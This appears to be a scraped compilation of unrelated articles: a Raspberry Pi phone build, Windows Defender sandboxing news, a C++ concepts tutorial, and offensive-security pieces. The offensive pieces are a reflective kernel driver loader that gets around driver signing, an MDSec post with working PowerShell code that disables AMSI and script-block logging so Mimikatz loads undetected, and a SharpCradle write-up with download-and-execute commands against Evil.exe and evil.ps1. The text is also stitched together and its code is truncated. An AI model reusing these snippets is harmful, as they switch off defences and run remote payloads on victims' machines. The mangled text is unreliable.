Building the rCrumbl the Ultimate RaspberryPi Phone

( Original text by  Steward’s Notes )

About a year ago I set out to create a functional smartphone from a Raspberry Pi. Its been a fun adventure. I began this project with only a moderate amount of experience in working with electronics, and I’ve come a long way since that time. I am by no means the first person to create a raspberry pi phone there are one or two people who I am certain have come before me. In order to claim some sort of title for the work that I would be doing, I decided that I would attempt to create the smallest form factor phone possible given my knowledge and experience. This alone became quite the challege, but in the process I learned a great deal about product design, CAD, and 3D printing.


A humble beginning

The majority of the electronic parts were purchased from Adafruit and Elmwood Electronics. I based the design of my phone off of the TyTelli that is several years old now. Unfortunately there are no wireless 2g networks currently operational here in Canada, so I will need to do a little bit more work on the software side to create a fully featured phone. In order to keep a “slim” form factor I needed to design some solutions to keep components from moving around to ensure that wires remained isolated from each other. In order to do this, I used a couple of JST connectors to allow the bottom half of the phone to separate from the top. I also created a small bracket to attach all of the extra circuit boards and camera. All that was left to complete was the wiring.


On the left circuitboards are attached to a bracket and then screwed onto the bottom of a RaspberryPi B+. On the right you can see how the battery, power button and speaker all fit snugly  underneath the TFT.

The case itself took a huge amount of time to complete and went through several iterations. In the end I settled on the white case pictured below. Once I had settled on a case design it was time to put all of the final wiring into place. I’ve never had to solder in such a tight environment before, but the results were well worth it. I left a little bit of slack on the wires to prevent them from getting tugged too much and to enable servicing if required. It would save very little room to have them much shorter.


All of the wires connected and the phone prior to final assembly.

Finally with all of the wires in place it was time to close up the case. I’d created a simple latching mechanism to keep the case from popping open. I’d also removed the small USB hole seen in the above photos. Also added the “rCrumbl” wordmark for good measure.


The final product.

With the final product completed I just need to create the software to run on the phone. The TyTelli software will not run on a 3g network, so it will take some time to get a phone that operates outside of the command line. If anyone is interested in collaborating on the final stretch, let me know and I would love to have a conversation. Download the .stl file on the downloads page.


Microsoft Sandboxes Windows Defender

As the infosec community talked about potential cyber attacks leveraging vulnerabilities in antivirus products, Microsoft took notes and started to work on a solution. The company announced that its Windows Defender can run in a sandbox.

Antivirus software runs with the highest privileges on the operating system, a level of access coveted by any threat actor, so any exploitable vulnerabilities in these products add to the possibilities of taking over the system.

By making Windows Defender run in a sandbox, Microsoft makes sure that the security holes its product may have stay contained within the isolated environment; unless the attacker finds a way to escape the sandbox, which is among the toughest things to do, the system remains safe.

Remote code execution flaws

Windows Defender has seen its share of vulnerability reports. Last year, Google’s experts Natalie Silvanovich and Tavis Ormandy announced a remote code execution (RCE) bug severe enough to make Microsoft release an out-of-band update to fix the problem.

In April this year, Microsoft patched another RCE in Windows Defender, which could be abused via a specially crafted RAR file. When the antivirus got to scanning it, as part of its protection routine, the would trigger, giving the attacker control over the system in the context of the local user.

Microsoft is not aware of any attacks in-the-wild actively targeting or exploiting its antivirus solution but acknowledges the potential risk hence its effort to sandbox Windows Defender.

Turn on sandboxing for Windows Defender

The new capability has been gradually rolling out for Windows Insider users for test runs, but it can also be enabled on Windows 10 starting version 1703.

Regular users can also run Windows Defender in a sandbox if they have the operating system version mentioned above. They can do this by enabling  the following system-wide setting from the Command Prompt with admin privileges:


Restarting the computer is necessary for the setting to take effect. Reverting the setting is possible by changing the value for forcing sandboxing to 0 (zero) and rebooting the system.

Sandboxing Windows Defender

Forcing an antivirus product to work from an insulated context is no easy thing to do due to the app’s need to check a large number of inputs in real time, so access to these resources is an absolute requirement. An impact on performance is a likely effect of this.

«It was a complex undertaking: we had to carefully study the implications of such an enhancement on performance and functionality. More importantly, we had to identify high-risk areas and make sure that sandboxing did not adversely affect the level of security we have been providing,» the official announcement reads.

Despite the complexity of the task, Microsoft was not the first to sandbox Windows Defender. Last year, experts from security outfit Trail of Bits, who also specialize in virtualization, created a framework that could run Windows applications in their own containers. Windows Defender was one of the projects that Trail of Bits was able to containerize successfully and open-sourced it.

AVs are as susceptible to flaws as other software

Despite their role on the operating system, security products are susceptible to flaws just like other complex software. Windows Defender is definitely not the only one vulnerable.

In 2008, security researcher Feng Xue talked at BlackHat Europe about techniques for finding and exploiting vulnerabilities in antivirus software, referencing bugs as old as 2004.

Xue pointed out that the flaws in this type of software stem from the fact that it has to deal with hundreds of files types that need to be checked with components called content parsers. A bug in one parser could represent a potential path on the protected system.

Six years later, another researcher, Joxean Koret, took the matter further and showed just how vulnerable are the defenders of the computer systems, and let the world know that exploiting them «is not different to exploiting other client-side applications.»

His analysis at the time on 14 antivirus solutions on the market revealed dozens of vulnerabilities that could be exploited remotely and locally, including denial of service, privilege escalation, and arbitrary code execution. His list included big names like Bitdefender and Kaspersky.

Antivirus developers do not leave their customers high and dry and audit their products constantly. The result is patching any of the bugs discovered during the code review and improving the quality assurance process for finer combing for potential flaws.

Library to reflectively load a driver and bypass Windows Driver signing enforcement .

Картинки по запросу kernel driver signing


Reflective Kernel Driver injection is a injection technique base off Reflective DLL injection by Stephen Fewer. The technique bypasses Windows driver signing enforcement (KMCS). Reflective programming is employed to perform the loading of a driver from memory into the kernel. As such the driver is responsible for loading itself by implementing a minimal Portable Executable (PE) file loader. Injection works on Windows Vista up to Windows 10, running on x64.

An exploit for the Capcom driver is also included as a simple usage example.


The process of injecting a driver into the kernel is twofold. Firstly, the driver you wish to inject must be written into the kernel address space. Secondly the driver must be loaded into kernel in such a way that the driver’s run time expectations are met, such as resolving its imports or relocating it to a suitable location in memory.

Assuming we have ring0 code execution and the driver we wish to inject has been written into an arbitrary location of memory kernel, Reflective Driver Injection works as follows.

  • Execution is passed, either via PSCreateSystemThread() or a tiny bootstrap shellcode, to the driver’s ReflectiveLoader function which is located at the beginning of the driver’s code section (typically offset 0x400).
  • As the driver’s image will currently exists in an arbitrary location in memory the ReflectiveLoader will first calculate its own image’s current location in memory so as to be able to parse its own headers for use later on.
  • The ReflectiveLoader will then use MmGetSystemRoutineAddress (assumed to be passed in as arg0) to calculate the addresses of six functions required by the loader, namely ExAllocatePoolWithTag, ExFreePoolWithTag, IoCreateDriver, RtlImageDirectoryEntryToData, RtlImageNtHeader, and RtlQueryModuleInformation.
  • The ReflectiveLoader will now allocate a continuous region of memory into which it will proceed to load its own image. The location is not important as the loader will correctly relocate the image later on.
  • The driver’s headers and sections are loaded into their new locations in memory.
  • The ReflectiveLoader will then process the newly loaded copy of its image’s relocation table.
  • The ReflectiveLoader will then process the newly loaded copy of its image’s import table, resolving any module dependencies (assuming they are already loaded into the kernel) and their respective imported function addresses.
  • The ReflectiveLoader will then call IoCreateDriver passing the driver’s DriverEntry exported function as the second parameter. The driver has now been successfully loaded into memory.
  • Finally the ReflectiveLoader will return execution to the initial bootstrap shellcode which called it, or if it was called via PSCreateSystemThread, the thread will terminate.


Open the ‘Reflective Driver Loading.sln’ file in Visual Studio C++ and build the solution in Release mode to make Hadouken.exe and reflective_driver.sys


To test load Capcom.sys into the kernel then use the Hadouken.exe to inject reflective_driver.sys into the kernel e.g.:

Hadouken reflective_driver.sys


C++ Core Guidelines: Definition of Concepts, the Second

fern 821293 1280

Let’s assume; I defined the is_contiguous trait. In this case, I can use it to distinguish a random access iterator RA_iter from a contiguous iterator Contiguous_iter.

template<typename I>    // iterator providing random access
concept bool RA_iter = ...;

template<typename I>    // iterator providing random access to contiguous data
concept bool Contiguous_iter =
    RA_iter<I> && is_contiguous<I>::value;  // using is_contiguous trait


I can even wrap a tag class such as is_contiguous into a concept an use it. Now, I have a more straightforward expression of my idea contiguous iterator Contiguous_iter.

template<typename I> concept Contiguous = is_contiguous<I>::value;

template<typename I>
concept bool Contiguous_iter = RA_iter<I> && Contiguous<I>;


Okay, let me first explain two key terms: traits and tag dispatching.


Traits are class templates which extract properties from a generic type.

The following program presents for each of the 14 primary type categories of the type-traits library a type which satisfies the specific trait. The primary type categories are complete and don’t overlap. So each type is a member of a type category. If you check a type category for your type, the request is independent of the const or volatile qualifiers.

// traitsPrimary.cpp

#include <iostream>
#include <type_traits>

using namespace std;

template <typename T>
void getPrimaryTypeCategory(){

  cout << boolalpha << endl;

  cout << "is_void<T>::value: " << is_void<T>::value << endl;
  cout << "is_integral<T>::value: " << is_integral<T>::value << endl;
  cout << "is_floating_point<T>::value: " << is_floating_point<T>::value << endl;
  cout << "is_array<T>::value: " << is_array<T>::value << endl;
  cout << "is_pointer<T>::value: " << is_pointer<T>::value << endl;
  cout << "is_reference<T>::value: " << is_reference<T>::value << endl;
  cout << "is_member_object_pointer<T>::value: " << is_member_object_pointer<T>::value << endl;
  cout << "is_member_function_pointer<T>::value: " << is_member_function_pointer<T>::value << endl;
  cout << "is_enum<T>::value: " << is_enum<T>::value << endl;
  cout << "is_union<T>::value: " << is_union<T>::value << endl;
  cout << "is_class<T>::value: " << is_class<T>::value << endl;
  cout << "is_function<T>::value: " << is_function<T>::value << endl;
  cout << "is_lvalue_reference<T>::value: " << is_lvalue_reference<T>::value << endl;
  cout << "is_rvalue_reference<T>::value: " << is_rvalue_reference<T>::value << endl;

  cout << endl;


int main(){
    getPrimaryTypeCategory<void>();              // (1)
    getPrimaryTypeCategory<short>();             // (1)
    getPrimaryTypeCategory<int []>();
    struct A{
        int a;
        int f(double){return 2011;}
    getPrimaryTypeCategory<int A::*>();
    getPrimaryTypeCategory<int (A::*)(double)>();
    enum E{
        e= 1,
    union U{
      int u;
    getPrimaryTypeCategory<int * (double)>();
    getPrimaryTypeCategory<int&>();              // (2)         
    getPrimaryTypeCategory<int&&>();             // (2)


I don’t want to bore you to death. Therefore, there is only the output of the lines (1).


And here is the output of the lines (2).


Tag Dispatching

Tag dispatching enables it to choose a function based on the properties of its types. The decision takes place at compile time and traits which I explained the last paragraph are used.

A typical example of tag dispatching is the std::advance algorithm from the Standard Template Library. std::advance(it, n)increments the iterator it by n elements. The program shows you the key idea.


// advanceTagDispatch.cpp

#include <iterator>
#include <forward_list>
#include <list>
#include <vector>
#include <iostream>

template <typename InputIterator, typename Distance>
void advance_impl(InputIterator& i, Distance n, std::input_iterator_tag) {
	std::cout << "InputIterator used" << std::endl; 
    while (n--) ++i;

template <typename BidirectionalIterator, typename Distance>
void advance_impl(BidirectionalIterator& i, Distance n, std::bidirectional_iterator_tag) {
	std::cout << "BidirectionalIterator used" << std::endl;
    if (n >= 0) 
        while (n--) ++i;
        while (n++) --i;

template <typename RandomAccessIterator, typename Distance>
void advance_impl(RandomAccessIterator& i, Distance n, std::random_access_iterator_tag) {
	std::cout << "RandomAccessIterator used" << std::endl;
    i += n;

template <typename InputIterator, typename Distance>
void advance_(InputIterator& i, Distance n) {
    typename std::iterator_traits<InputIterator>::iterator_category category;    // (1)
    advance_impl(i, n, category);                                                // (2)
int main(){
    std::cout << std::endl;
    std::vector<int> myVec{0, 1, 2, 3, 4, 5, 6, 7, 8, 9};
    auto myVecIt = myVec.begin();                                                // (3)
    std::cout << "*myVecIt: " << *myVecIt << std::endl;
    advance_(myVecIt, 5);
    std::cout << "*myVecIt: " << *myVecIt << std::endl;
    std::cout << std::endl;
    std::list<int> myList{0, 1, 2, 3, 4, 5, 6, 7, 8, 9};
    auto myListIt = myList.begin();                                              // (4)
    std::cout << "*myListIt: " << *myListIt << std::endl;
    advance_(myListIt, 5);
    std::cout << "*myListIt: " << *myListIt << std::endl;
    std::cout << std::endl;
    std::forward_list<int> myForwardList{0, 1, 2, 3, 4, 5, 6, 7, 8, 9};
    auto myForwardListIt = myForwardList.begin();                                // (5)
    std::cout << "*myForwardListIt: " << *myForwardListIt << std::endl;
    advance_(myForwardListIt, 5);
    std::cout << "*myForwardListIt: " << *myForwardListIt << std::endl;
    std::cout << std::endl;


The expression std::iterator_traits::iterator_category category determines the iterator category at compile time. Based on the iterator category the most specific variable of the function advance_impl(i, n, category) is used in line (2). Each container returns an iterator of the iterator category which corresponds to its structure. Therefore, line (3) gives a random access iterator, line (4) gives a bidirectional iterator, and line (5) gives a forward iterator which is also an input iterator.

advanceTagDispatchFrom the performance point of view, this distinction makes a lot of sense because a random access iterator can be faster incremented than a bidirectional iterator, and a bidirectional iterator can be faster incremented than an input iterator. From the users perspective, you invokestd::advance(it, 5) and you get the fastest version which your container satisfies.

This was quite verbose. I have not so much to add the two remaining rules.

T.25: Avoid complimentary constraints

The example from the guidelines shows complimentary constraints.

template<typename T> 
    requires !C<T> // bad 
void f(); 

template<typename T> 
    requires C<T> 
void f();

Avoid it. Make an unconstrained template and a constrained template instead.


template<typename T>   // general template
    void f();

template<typename T>   // specialization by concept
    requires C<T>
void f();


You can even set the unconstrained version to delete such that the constrained versions is only usable.

template<typename T>
void f() = delete;


T.26: Prefer to define concepts in terms of use-patterns rather than simple syntax

The title for this guideline is quite vague, but the example is self-explanatory.

Instead of using the concepts has_equal and has_not_equal to define the concept Equality

template<typename T> concept Equality = has_equal<T> && has_not_equal<T>;


use the usage-pattern. This is more readable than the previous version:

template<typename T> concept Equality = requires(T a, T b) {
    bool == { a == b }
    bool == { a != b }
    // axiom { !(a == b) == (a != b) }
    // axiom { a = b; => a == b }  // => means "implies"


The concept Equality requires in this case that you can apply == and != to the arguments and both operations return bool.

What’s next?

Here is a part of the opening from the C++ core guidelines to template interfaces: «…the interface to a template is a critical concept — a contract between a user and an implementer — and should be carefully designed.». You see, the next post is critical.



Thanks a lot to my Patreon Supporters: Eric Pederson, Paul Baxter,  Meeting C++, Matt Braun, Avi Lachmish, Roman Postanciuc, Venkata Ramesh Gudpati, Tobias Zindl, Mielo, Dilettant, and Marko.

Thanks in particular to:  TakeUpCode 450 60

Exploring PowerShell AMSI and Logging Evasion

Картинки по запросу amsi powershell

( Original text by Adam Chester of MDSec’s ActiveBreach team )

By now, many of us know that during an engagement, AMSI (Antimalware Scripting Interface) can be used to trip up PowerShell scripts in an operators arsenal. Attempt to IEX Invoke-Mimikatz without taking care of AMSI, and it could be game over for your undetected campaign.
Before attempting to load a script, it has now become commonplace to run the following AMSI bypass:
But have you ever wondered just how this magic command goes about unhooking AMSI?
In this post, we will walk through just how this technique works under the hood, then we will look at a few alternate ways to unhook AMSI from PowerShell. Finally we’ll review a relative newcomer to the blue-team arsenal, script block logging, how this works, and just how we can unhook this before it causes us any issues during an engagement.

AMSI Bypass – How it works

The earliest reference to this bypass technique that I can find is credited to Matt Graeber back in 2016:
To review just what this command is doing to unhook AMSI, let’s load the assembly responsible for managing PowerShell execution into a disassembler, “System.Management.Automation.dll”.
To start, we need to look at the “System.Management.Automation.AmsiUtils” class, where we find a number of static methods and properties. What we are interested in is the variable “amsiInitFailed”, which is defined as:
private static bool amsiInitFailed = false;
Note that this variable has the access modifier of “private”, meaning that it is not readily exposed from the AmsiUtils class. To update this variable, we need to use .NET reflection to assign a value of ‘true’, which is observed in the above bypass command.
So where is this variable used and why does it cause AMSI to be disabled? The answer can be found in the method “AmsiUtils.ScanContent”:

internal unsafe static AmsiUtils.AmsiNativeMethods.AMSI_RESULT ScanContent(string content, string sourceMetadata)
if (string.IsNullOrEmpty(sourceMetadata))
sourceMetadata = string.Empty;
if (InternalTestHooks.UseDebugAmsiImplementation && content.IndexOf("X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*", StringComparison.Ordinal) >= 0)
return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_DETECTED;
if (AmsiUtils.amsiInitFailed)
return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;

Here we can see that the “ScanContent” method is using the “amsiInitFailed” variable to determine if AMSI should scan the command to be executed. By setting this variable to “false”, what is returned is the following enumeration value:
This in turn causes any further checks within the code to be bypassed, neutering AMSI… pretty cool 🙂
Unfortunately for us as attackers, a recent Windows Defender update has blocked the AMSI bypass command, causing AMSI to trigger, blocking the AMSI bypass before we can unhook AMSI… meta:
Diving into Windows Defender with a debugger, we can actually find the signature being used to flag this this bypass:
This case insensitive match is applied by Defender to any command sent over via AMSI in search for commands attempting to unhook AMSI. It’s worth noting that there is no real parsing going on of the command’s context, for example, the following would also cause this rule to trigger:
Knowing this, we see how easy it is to bypass this signature, for example, we could do something like:
Or even just swap out single quotes for double quotes:
So it turns out that this solution isn’t really a true restriction to operator’s who simply modify their command to bypass AMSI. What is interesting about this development however, is that there now seems to be a concerted effort to stop attackers from using a known command to bypass AMSI. I doubt that this will be the end to this cat-and-mouse game, so I wanted to take a further look at how AMSI is working in PowerShell, and see if we could identify any other interesting bypasses.

AMSI Bypass – Patching amsi.dll AmsiScanBuffer

One way that seemed an intuitive way of evading AMSI was to patch out exported functions from AMSI.dll, the library responsible for gluing together Defender and PowerShell. After starting down this road, I actually found that the technique was already presented by Tal Lieberman during his Blackhat talk “The Rise and Fall of AMSI”. This method shows an alternative approach to AMSI evasion, and we will cover the fundamentals here to give you an idea of just how this technique can be applied.
This method uses .NET’s interop functionality to patch “amsi.dll”’s exported function “AmsiScanBuffer”, which is invoked from PowerShell as a way to check if a command is malicious. By modifying the function body by injecting our own assembly code, we can create a small stub which will always return a code indicating that a command is non-malicious.
As the AMSI DLL is loaded into PowerShell’s address space during execution, we simply p/invoke the Win32 API’s to replace the function’s body with our new stub which will return before the command is scanned. Crafted, we have something like this:
$win32 = @"
using System.Runtime.InteropServices;
using System;
public class Win32 {
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
public static extern IntPtr LoadLibrary(string name);
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect
Add-Type $win32
$ptr = [Win32]::GetProcAddress([Win32]::LoadLibrary("amsi.dll"), "AmsiScanBuffer”)
$b = 0
[Win32]::VirtualProtect($ptr, [UInt32]5, 0x40, [Ref]$b)
$buf = New-Object Byte[] 7
$buf[0] = 0x66; $buf[1] = 0xb8; $buf[2] = 0x01; $buf[3] = 0x00; $buf[4] = 0xc2; $buf[5] = 0x18; $buf[6] = 0x00;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 7)
Here we are simply grabbing the exported function using “GetProcAddress”, ensuring that we can write to the function body using “VirtualProtect” by marking the page as read/write/execute, and then using the “Copy” function to update the function with our new 7 byte stub.
When executed, the patched AmsiScanBuffer method looks like this:
Then if we attempt to load Invoke-Mimikatz:
Brilliant, no AMSI alerting or Defender showing up our script load.
The take-away from this technique, is that by having full access to the memory space of the process, it’s actually pretty difficult to stop the modification of functions which attempt to essentially report on their own malicious activity.
Now that we have a nice alternative technique to bypass AMSI, let’s try and find something a bit different which doesn’t involve the modification of unmanaged code.

AMSI Bypass – Forcing an error

We now know from the above test that Windows Defender is blocking based on signatures, and any attempt to reference “amsiInitFailed” is likely high on the agenda of endpoint security products given its prevalence. So how about we actually attempt to force a genuine error state, which should in turn set this flag for us?
After a bit of searching on a train journey to London, I found that it was actually trivial to force this error condition by controlling 2 variables used by the AMSI assembly, “amsiSession” and “amsiContext”.
Let’s first take a look first at the code which controls the setting of the “amsiInitFailed” flag within the “AmsiUtils.ScanContent” method:

int hresult = 0;
if (AmsiUtils.amsiContext == IntPtr.Zero)
hresult = AmsiUtils.Init();
if (!Utils.Succeeded(hresult))
AmsiUtils.amsiInitFailed = true;
return;  AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
if (AmsiUtils.amsiSession == IntPtr.Zero)
hresult = AmsiUtils.AmsiNativeMethods.AmsiOpenSession(AmsiUtils.amsiContext, refAmsiUtils.amsiSession);
AmsiUtils.AmsiInitialized = true;
if (!Utils.Succeeded(hresult))
AmsiUtils.amsiInitFailed = true;
return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;

Here we see 2 conditions which could result in this flag being set legitimately… that is if either “AmsiUtils.Init()” or “AmsiUtils.AmsiNativeMethods.AmsiOpenSession(…)” were to fail. We will focus on “AmsiOpenSession” for the purposes of this post, which is a native function exported from “amsi.dll”.
Let’s look at a disassembly of this function to see what is happening when it’s called by PowerShell:
Interestingly, we see that if we can get “AmsiOpenSession(…)” to be invoked with an “amsiContext” pointer which does not contain a 4 byte value of “AMSI” at offset 0x00, an error will be returned from the function of 0x80070057 (or E_INVALIDARG). When this error is returned back to PowerShell, “Utils.Succeeded(…)” will fail and “amsiInitFailed” will be set for us.
So how can we force this condition? To do this we will need to follow a few steps:
  1. Allocate a region of unmanaged memory which will be used as our fake “amsiContext”.
  2. Assign this allocated memory to the variable “amsiContext”.
  3. Set “amsiSession” to $null which will force the “AmsiOpenSession(..)” amsi.dll method, passing our controlled amsiContext memory region, and result in an error being returned.
Collated, we have the following command sequence:
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null$null);[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)
Executing this snippet, and attaching a debugger to Powershell.exe, we can see the expected error code being returned:
Now if we check for “amsiInitFailed”, we can see that this value has now been set:
And we can now try to load Invoke-Mimikatz:
Awesome, another way to get around AMSI.
Hopefully what you are seeing here is that although AMSI is a pretty good speed bump, if we understand just how the technology works in the background, we actually see that it is trivial to disable during a campaign.
Now that we have an idea of just how to find these kinds of bypasses, let’s turn our attention to another area of PowerShell security which may cause some issues during an engagement, PowerShell script block logging.

PowerShell Script Block Logging

If you haven’t yet come across this functionality yet, I recommend checking out this introduction post from Microsoft which covers the introduced logging support during PowerShell v5.
Essentially, script block logging gives blue-team the option to enable auditing of scripts being executed within PowerShell. Whilst this has obvious advantages, the huge benefit of this method is the ability to unpack obfuscated scripts into a readable form. For example, if we invoke an obfuscated command passed through Invoke-Obfuscate:
We see that our activity is logged using the decoded and deobfuscated PowerShell command:
Feed this into a log correlation tool, and the SOC has a brilliant way of logging and identifying malicious activity across a network.
So how as the red-team do we get around this? Let’s first take a look at the implementation of Powershell logging under the hood and find out.
To begin, we need to again disassemble the System.Management.Automation.dll assembly and search for the point at which script logging has been enabled.
If we review “ScriptBlock.ScriptBlockLoggingExplicitlyDisabled”, we see:
internal static bool ScriptBlockLoggingExplicitlyDisabled()
Dictionary<stringobject> groupPolicySetting = Utils.GetGroupPolicySetting("ScriptBlockLogging", Utils.RegLocalMachineThenCurrentUser);
object obj;
return groupPolicySetting != null && groupPolicySetting.TryGetValue("EnableScriptBlockLogging"out obj) && string.Equals("0", obj.ToString(), StringComparison.OrdinalIgnoreCase);
This looks like a good place to start given our knowledge of how script block logging is rolled out. Here we find that the setting to enable or disable script logging is returned from the method “Utils.GetGroupPolicySetting(…)”. Digging into this method, we see:
internal static Dictionary<stringobject> GetGroupPolicySetting(stringsettingName, RegistryKey[] preferenceOrder)
returnUtils.GetGroupPolicySetting("Software\\Policies\\Microsoft\\Windows\\PowerShell", settingName, preferenceOrder);
Contained here we have a further call which provides the registry key path and the setting we want to grab, which is passed to:
internal static Dictionary<stringobject> GetGroupPolicySetting(stringgroupPolicyBase, string settingName, RegistryKey[] preferenceOrder)
ConcurrentDictionary<string, Dictionary<stringobject>> obj = Utils.cachedGroupPolicySettings;
if (!InternalTestHooks.BypassGroupPolicyCaching && Utils.cachedGroupPolicySettings.TryGetValue(key, out dictionary))
return dictionary;
And here we see a reference to the property “Utils.cachedGroupPolicySettings”. This ConcurrentDictionary<T> is used to store a cached version of the registry settings which enable / disable logging (as well as a variety of other PowerShell auditing features), presumably to increase performance during runtime rather than attempting to look up this value from the registry each time a command is executed.
Now that we understand just where these preferences are held during runtime, let’s move onto how we go about disabling this logging.

PowerShell script block logging – Bypass

We have seen that “cachedGroupPolicySettings” will be the likely target of our modification. The theory is that by manipulating the contents of “cachedGroupPolicySettings”, we should be able to trick PowerShell into believing that the registry key which was cached disables logging. This of course also has the benefit that we will never touch the actual registry value.
To update this dictionary within PowerShell, we can again turn to reflection. The “cachedGroupPolicySettings” dictionary key will need to be set to the registry key path where the PowerShell script blog logging functionality is configured, which in our case is “HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging”. The value will be a Dictionary<string,object> object pointing to our modified configuration value, which will be “EnableScriptBlockLogging” set to “0”.
Put together, we have a snippet that looks like this:
$settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"] = @{}
And this is all it actually takes to ensure that events are no longer recorded:
It is important to note that as script block logging is enabled up until this point, this command will end up in the log. I will leave the exercise of finding a workaround to this to the reader.
While looking to see if this technique was already known, I actually came across a pull request in the Empire framework adding this functionality, courtesy of @cobbr_io.
This was later merged into Empire, which means that if you want to avoid PowerShell script block logging, the Empire framework already has you covered.
So, what about if we are operating in an environment in which script block logging has not been configured, we should be good to go right?… Unfortunately, no.

PowerShell Logging – Suspicious Strings

If we continue digging in PowerShell’s logging code, eventually we come to a method named “ScriptBlock.CheckSuspiciousContent”:
internal static string CheckSuspiciousContent(Ast scriptBlockAst)
IEnumerable<string> source = ScriptBlock.TokenizeWordElements(scriptBlockAst.Extent.Text);
ParallelOptions parallelOptions = new ParallelOptions();
string foundSignature = null;
Parallel.ForEach<string>(source, parallelOptions, delegate(string element, ParallelLoopState loopState)
if (foundSignature == null && ScriptBlock.signatures.Contains(element))
foundSignature = element;
if (!string.IsNullOrEmpty(foundSignature))
return foundSignature;
if (!scriptBlockAst.HasSuspiciousContent)
return null;
Ast ast2 = scriptBlockAst.Find((Ast ast) => !ast.HasSuspiciousContent && ast.Parent.HasSuspiciousContent, true);
if (ast2 != null)
return ast2.Parent.Extent.Text;
return scriptBlockAst.Extent.Text;
Here we have a method which will iterate through a provided script block, and attempt to assess if its execution should be marked as suspicious or not. Let’s have a look at the list of signatures which can be found in the variable “Scriptblock.signatures”:

private static HashSet<string> signatures = new HashSet<string>(StringComparer.OrdinalIgnoreCase)

What this means is that if your command contains any of the above strings an event will be logged, even if no script block logging has been configured. For example, if we execute a command which matches a suspicious signature on an environment not configured with logging, such as:
Write-Host “I wouldn’t want to call DeviceIoControl here”
We see that the token “DeviceIoControl” is identified as suspicious and our full command is added to the Event Log:
So how do we go about evading this? Let’s see how our suspicious command is handled by PowerShell:
internal static void LogScriptBlockStart(ScriptBlock scriptBlock, Guid runspaceId)
bool force = false;
if (scriptBlock._scriptBlockData.HasSuspiciousContent)
force = true;
ScriptBlock.LogScriptBlockCreation(scriptBlock, force);
PSEtwLog.LogOperationalVerbose(PSEventId.ScriptBlock_Invoke_Start_Detail, PSOpcode.Create, PSTask.CommandStart, PSKeyword.UseAlwaysAnalytic, newobject[] {
Here we can see that the “force” local variable is set depending on if our command is detected as suspicious or not. This is then passed to “ScriptBlock.LogScriptBlockCreation(…)” to force logging:
internal static void LogScriptBlockCreation(ScriptBlock scriptBlock, boolforce)
if ((force || ScriptBlock.ShouldLogScriptBlockActivity("EnableScriptBlockLogging")) && (!scriptBlock.HasLogged || InternalTestHooks.ForceScriptBlockLogging))
if (ScriptBlock.ScriptBlockLoggingExplicitlyDisabled() || scriptBlock.ScriptBlockData.IsProductCode)
Above we can see that the decision to log is based on the “force” parameter, however we are able to exit this method without logging if the “ScriptBlock.ScriptBlockLoggingExplicitlyDisabled()” method returns true.
As we know from the above walkthrough, we already control how this method returns, meaning that we can repurpose our existing script block logging bypass to ensure that any suspicious strings are also not logged.
There is a second bypass here however that we can use when operating in an environment with only this kind of implicit logging. Remember that list of suspicious strings… how about we just truncate that list, meaning that no signatures will match?
Using a bit of reflection, we can use the following command to do this:
[Ref].Assembly.GetType("System.Management.Automation.ScriptBlock").GetField("signatures","NonPublic,static").SetValue($null, (New-Object'System.Collections.Generic.HashSet[string]'))
Here we set the “signatures” variable with a new empty hashset, meaning that the “force” parameter will never be true, bypassing logging:
Hopefully this post has demonstrated a few alternative ways of protecting your operational security when using your script arsenal. As we continue to see endpoint security solutions focusing on PowerShell, I believe that ensuring we know just how these security protections work will not only improve our attempts to avoid detection during an engagement, but also help defenders to understand the benefits and limitations to monitoring PowerShell.

SharpCradle — Loading remote C# binaries and executing them in memory

Картинки по запросу C# .net( Original text by  )

I am not a security researcher, expert, or guru.  If I misrepresent anything in this article, I assure you it was on accident and I will gladly make any updates if needed.  This is intended for educational purposes only.


Over the last 4-5 years I have dabbled with using C# for offensive purposes, starting first with running Powershell via C# runspaces and then slowly digging into other ways you could use the language offensively.  This eventually led to an idea a few years ago of attempting to write a post exploitation framework all in C#.  Unfortunately, no one told me that trying to write a full functioning post exploitation framework by yourself was not only extremely time consuming but also extremely hard.  So I decided it would be much easier to release small tools that have the functionality of some of the modules I had been working on, the first release being SharpCradle.

What it does:

SharpCradle loads a remote C# PE binary from either a remote file or web server using the file / web stream classes (respectively) into a byte[] array in memory.  This array is then executed using the assembly class.

How this could be useful:

SharpCradle isn’t exactly the same as our traditional powershell download cradle ( IEX (New-Object Net.Webclient).downloadstring(«http://IP/evil.ps1») ) but the concept, at least to me, is the same.  We are simply reaching out from our victim’s machine to somewhere remotely and retrieving our evil code and executing it in memory.  This helps in bypassing endpoint protections by making it harder to detect what exactly we are up to.  In fact, I have used this on a wide variety of client engagements and it has yet to get flagged, though I am sure that will eventually change as defenses are getting better every day.


This does not work for ALL binaries but only those written using managed code, such as C# or Visual Basic .NET.

Short example:

Since my good friend @g0ldengunsec and I just released SharpSploitConsole v1.1, which takes advantage of the awesome tool SharpSploit written by @cobbr_io, I will be using it as my «evil.exe» program that we will pull into memory using SharpCradle.

By running SharpCradle.exe without any arguments, you will see the below:


Web Server Download:

SharpCradle.exe -w https://IP/Evil.exe <arguments to pass>

SharpCradle.exe -w https://IP/SharpSploitConsole_x64.exe logonpasswords

File Server Download Anonymous:

SharpCradle.exe -f \\IP\share\Evil.exe <arguments to pass>

